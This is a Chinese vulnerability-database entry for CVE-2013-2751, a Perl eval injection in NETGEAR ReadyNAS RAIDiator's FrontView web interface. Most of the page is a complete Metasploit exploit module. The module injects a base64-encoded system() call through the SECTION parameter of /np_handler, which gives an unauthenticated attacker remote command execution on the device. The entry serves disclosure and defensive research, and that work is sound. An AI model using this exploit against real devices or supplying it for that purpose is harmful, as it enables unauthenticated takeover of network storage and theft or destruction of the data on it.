NETGEAR ReadyNAS RAIDiator eval注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1121955 漏洞类型 代码注入
发布时间 2013-11-25 更新时间 2019-07-19
CVE编号 CVE-2013-2751 CNNVD-ID CNNVD-201312-247
漏洞平台 Hardware CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/29815
https://cxsecurity.com/issue/WLB-2013110179
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201312-247
|漏洞详情
NetGear ReadyNAS RAIDiator是美国网件(NetGear)公司的一套专用于ReadyNAS网络存储设备的操作系统。 NETGEAR ReadyNAS RAIDiator 4.1和4.2.23及之前的版本中的FrontViewWeb界面中存在eval注入漏洞,该漏洞源于frontview/lib/np_handler.pl脚本没有过滤用户提交的输入。远程攻击者可通过发送特制的请求利用该漏洞执行任意Perl代码。
|漏洞EXP
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NETGEAR ReadyNAS Perl Code Evaluation',
      'Description'    => %q{
        This module exploits a Perl code injection on NETGEAR ReadyNAS 4.2.23 and 4.1.11. The
        vulnerability exists on the web fronted, specifically on the np_handler.pl component,
        due to the insecure usage of the eval() perl function. This module has been tested
        successfully on a NETGEAR ReadyNAS 4.2.23 Firmware emulated environment, not on real
        hardware.
      },
      'Author'         =>
        [
          'Craig Young', # Vulnerability discovery
          'hdm',          # diff the patch
          'juan vazquez'  # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-2751' ],
          [ 'OSVDB', '98826' ],
          [ 'URL', 'http://www.tripwire.com/state-of-security/vulnerability-management/readynas-flaw-allows-root-access-unauthenticated-http-request/' ],
          [ 'URL', 'http://www.tripwire.com/register/security-advisory-netgear-readynas/' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 4096, # Has into account Apache request length and base64 ratio
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet'
            }
        },
      'Targets'        =>
        [
          [ 'NETGEAR ReadyNAS 4.2.23', { }]
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 12 2013'
      ))

    register_options(
      [
        Opt::RPORT(443)
      ], self.class)

  end

  def send_request_payload(payload)
    res = send_request_cgi({
      'uri' => normalize_uri("/np_handler", ""),
      'vars_get' => {
         'PAGE' =>'Nasstate',
         'OPERATION' => 'get',
         'SECTION' => payload
      }
    })
    return res
  end

  def check
    res = send_request_payload(")")
    if res and res.code == 200 and res.body =~ /syntax error at \(eval/
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    my_payload = "#{rand_text_numeric(1)});use MIME::Base64;system(decode_base64(\"#{Rex::Text.encode_base64(payload.encoded)}\")"
    print_status("#{peer} - Executing payload...")
    send_request_payload(my_payload)
  end

end
|参考资料

来源:www.tripwire.com
链接:http://www.tripwire.com/state-of-security/vulnerability-management/readynas-flaw-allows-root-access-unauthenticated-http-request/
来源:www.tripwire.com
链接:http://www.tripwire.com/register/security-advisory-netgear-readynas/
来源:www.readynas.com
链接:http://www.readynas.com/?p=7002
来源:OSVDB
名称:98826
链接:http://www.osvdb.org/98826
来源:EXPLOIT-DB
名称:29815
链接:http://www.exploit-db.com/exploits/29815
来源:packetstormsecurity.com
链接:http://packetstormsecurity.com/files/123726/Netgear-ReadyNAS-Complete-System-Takeover.html